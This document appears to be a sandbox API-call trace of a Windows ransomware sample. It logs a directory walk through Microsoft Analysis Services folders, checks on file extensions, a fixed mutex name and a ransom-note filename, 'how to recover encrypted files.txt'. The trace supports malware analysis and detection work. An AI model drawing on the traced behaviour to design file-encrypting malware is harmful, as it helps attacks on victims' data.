0 [0059.062] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.062] CharLowerBuffW (in: lpsz="msmdlocal.dll", cchLength=0xd | out: lpsz="msmdlocal.dll") returned 0xd [0059.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.063] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0059.063] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0059.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllices\\AS OLEDB\\10\\msmdlocal.dllc", lpUsedDefaultChar=0x0) returned 4 [0059.063] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.063] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.063] GlobalLock (hMem=0x440004) returned 0x550170 [0059.063] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.063] GlobalUnlock (hMem=0x440004) returned 0 [0059.063] GlobalLock (hMem=0x440004) returned 0x550170 [0059.063] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.063] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.063] GlobalUnlock (hMem=0x440004) returned 0 [0059.063] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.063] GlobalUnlock (hMem=0x44000c) returned 0 [0059.063] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.063] CharLowerBuffW (in: lpsz="msmgdsrv.dll", cchLength=0xc | out: lpsz="msmgdsrv.dll") returned 0xc [0059.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0059.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.064] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0059.064] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0059.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllices\\AS OLEDB\\10\\msmgdsrv.dll", lpUsedDefaultChar=0x0) returned 4 [0059.064] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.064] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.064] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.064] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.064] GlobalUnlock (hMem=0x44000c) returned 0 [0059.064] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.064] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.064] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.064] GlobalUnlock (hMem=0x44000c) returned 0 [0059.064] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.064] GlobalUnlock (hMem=0x440004) returned 0 [0059.064] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.064] CharLowerBuffW (in: lpsz="msolap100.dll", cchLength=0xd | out: lpsz="msolap100.dll") returned 0xd [0059.064] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.065] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0059.065] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0059.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllices\\AS OLEDB\\10\\msolap100.dllc", lpUsedDefaultChar=0x0) returned 4 [0059.065] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.065] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.065] GlobalLock (hMem=0x440004) returned 0x550170 [0059.065] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.065] GlobalUnlock (hMem=0x440004) returned 0 [0059.065] GlobalLock (hMem=0x440004) returned 0x550170 [0059.065] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.065] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.065] GlobalUnlock (hMem=0x440004) returned 0 [0059.065] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.065] GlobalUnlock (hMem=0x44000c) returned 0 [0059.065] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.065] CharLowerBuffW (in: lpsz="msolui100.dll", cchLength=0xd | out: lpsz="msolui100.dll") returned 0xd [0059.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0059.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.066] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0059.066] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0059.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllices\\AS OLEDB\\10\\msolui100.dllc", lpUsedDefaultChar=0x0) returned 4 [0059.066] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0059.067] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.067] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.067] GlobalUnlock (hMem=0x44000c) returned 0 [0059.067] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.067] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.067] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.067] GlobalUnlock (hMem=0x44000c) returned 0 [0059.067] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.067] GlobalUnlock (hMem=0x440004) returned 0 [0059.067] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0059.068] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0059.068] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.068] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.068] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.068] GlobalUnlock (hMem=0x440004) returned 0 [0059.068] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.068] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.068] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.068] GlobalUnlock (hMem=0x440004) returned 0 [0059.068] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.068] GlobalUnlock (hMem=0x44000c) returned 0 [0059.068] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.068] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.068] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.068] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.068] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.068] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.068] GlobalUnlock (hMem=0x44000c) returned 0 [0059.068] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.069] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.069] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.069] GlobalUnlock (hMem=0x44000c) returned 0 [0059.069] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.069] GlobalUnlock (hMem=0x440004) returned 0 [0059.069] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.069] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0059.069] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.069] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.069] GlobalLock (hMem=0x440004) returned 0x550170 [0059.069] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.069] GlobalUnlock (hMem=0x440004) returned 0 [0059.069] GlobalLock (hMem=0x440004) returned 0x550170 [0059.069] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.069] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.069] GlobalUnlock (hMem=0x440004) returned 0 [0059.069] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.069] GlobalUnlock (hMem=0x44000c) returned 0 [0059.069] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.069] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.069] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.069] GlobalUnlock (hMem=0x44000c) returned 0 [0059.069] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.069] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.069] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.069] GlobalUnlock (hMem=0x44000c) returned 0 [0059.070] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.070] GlobalUnlock (hMem=0x440004) returned 0 [0059.070] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.070] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges", len=0x43 | out: pbstr=0x18edc4*="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned 1 [0059.070] GlobalLock (hMem=0x440004) returned 0x550170 [0059.070] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.070] GlobalUnlock (hMem=0x440004) returned 0 [0059.070] 